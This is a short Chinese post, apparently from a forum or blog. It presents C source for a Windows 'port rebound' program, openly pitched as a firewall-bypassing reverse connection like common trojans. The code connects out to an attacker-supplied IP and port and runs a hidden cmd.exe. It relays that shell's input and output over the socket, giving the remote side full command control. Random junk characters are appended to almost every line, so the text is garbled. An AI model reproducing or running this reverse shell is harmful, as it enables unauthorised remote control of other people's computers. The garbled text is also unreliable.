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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VWMr\]g  
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/* ============================== (y2P."  
Rebound port in Windows NT l^v,X%{Iz  
By wind,2006/7 9YwS"~Q =w  
===============================*/ deutY.7g  
#include U> {CG+X  
#include N 0(($8G  
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#pragma comment(lib,"wsock32.lib") XKbTj R  
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void OutputShell(); H&0S  
SOCKET sClient; w%kaM=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 62>/0_m5  
HjX)5@"o(  
void main(int argc,char **argv) QtfLJ5vi  
{ {ALOs^_-  
WSADATA stWsaData; Oz.Zxw  
int nRet; &0J/V>k  
SOCKADDR_IN stSaiClient,stSaiServer; #EO],!JM  
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if(argc != 3) aGmbB7[BZ  
{ Nv\<>gA:  
printf("Useage:\n\rRebound DestIP DestPort\n"); L9 H.DNA  
return; Xd 9<`gu  
} |1Ko5z  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Z/I`XPmk  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < nyk:E  
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stSaiClient.sin_family = AF_INET; Re'Ek  
stSaiClient.sin_port = htons(0); u9dL-Nr`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8\8%FSrc  
p:8]jD@}%  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O; <YLS^|6  
{ v:@ud,d<  
printf("Bind Socket Failed!\n"); F6#U31Q=  
return; Q$DF3[NC  
} c9;oB|8|  
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stSaiServer.sin_family = AF_INET; 'P~6_BW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Nh\y@\F>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v4wXa:CJ  
XvW $B|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TVFxEV7Fx  
{ {v}jV{'^um  
printf("Connect Error!"); sOW,hpNW  
return; &,@wLy^ T  
} hTbot^/  
OutputShell(); )d-{#  
} MOW {g\{\  
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void OutputShell() \ g[A{  
{ q! U'DDEP  
char szBuff[1024]; cZXra(AD  
SECURITY_ATTRIBUTES stSecurityAttributes; 1 +'HKT}  
OSVERSIONINFO stOsversionInfo; \M`fkR,,'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wY j~(P"  
STARTUPINFO stStartupInfo; }~28UXb23  
char *szShell; v mXY}Ul  
PROCESS_INFORMATION stProcessInformation; L)ry!BuHI  
unsigned long lBytesRead; p,w6D,h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >, }m=X8  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bz? *#S  
stSecurityAttributes.lpSecurityDescriptor = 0; O}3M+  
stSecurityAttributes.bInheritHandle = TRUE; cAc i2e  
3It'!R8$  
ico(4KSk  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'HV}Tr  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); []M+(8Z_P  
n[/|M  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ucnit^,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k|7XC@i]%  
stStartupInfo.wShowWindow = SW_HIDE; K9*#H(  
stStartupInfo.hStdInput = hReadPipe; _dEf@==  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #+eV5%S i  
+:d))r=n  
GetVersionEx(&stOsversionInfo); VMW ?[j  
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switch(stOsversionInfo.dwPlatformId) y o[!q|z  
{ $sO}l  
case 1: 3Pp*ID  
szShell = "command.com"; 1p&?MxLN-a  
break; !{SU G+.2  
default: y\ @;s?QL  
szShell = "cmd.exe"; ' n~N*DH  
break; $(}kau  
} @Cm"lv.hz  
W^&t8d2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M)EUR0>8  
J\   
send(sClient,szMsg,77,0); Z#;ieI\  
while(1) tQJ@//C\z  
{ bTHa;* `  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S,S_BB<Y[b  
if(lBytesRead) 6aQ{EO-]'=  
{ HA"dw2 |  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <WBGPzVZE  
send(sClient,szBuff,lBytesRead,0); +I\ bs.84  
} e@^}y4 C  
else WM=kr$/3  
{ PD/JXExK  
lBytesRead=recv(sClient,szBuff,1024,0); Gh|1%g"gm  
if(lBytesRead<=0) break; p7H*Ff`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'Dk(jpYB  
} cB<0~&  
} 3+ i(fg_  
JG}U,{7(  
return; cS ];?tqrA  
}
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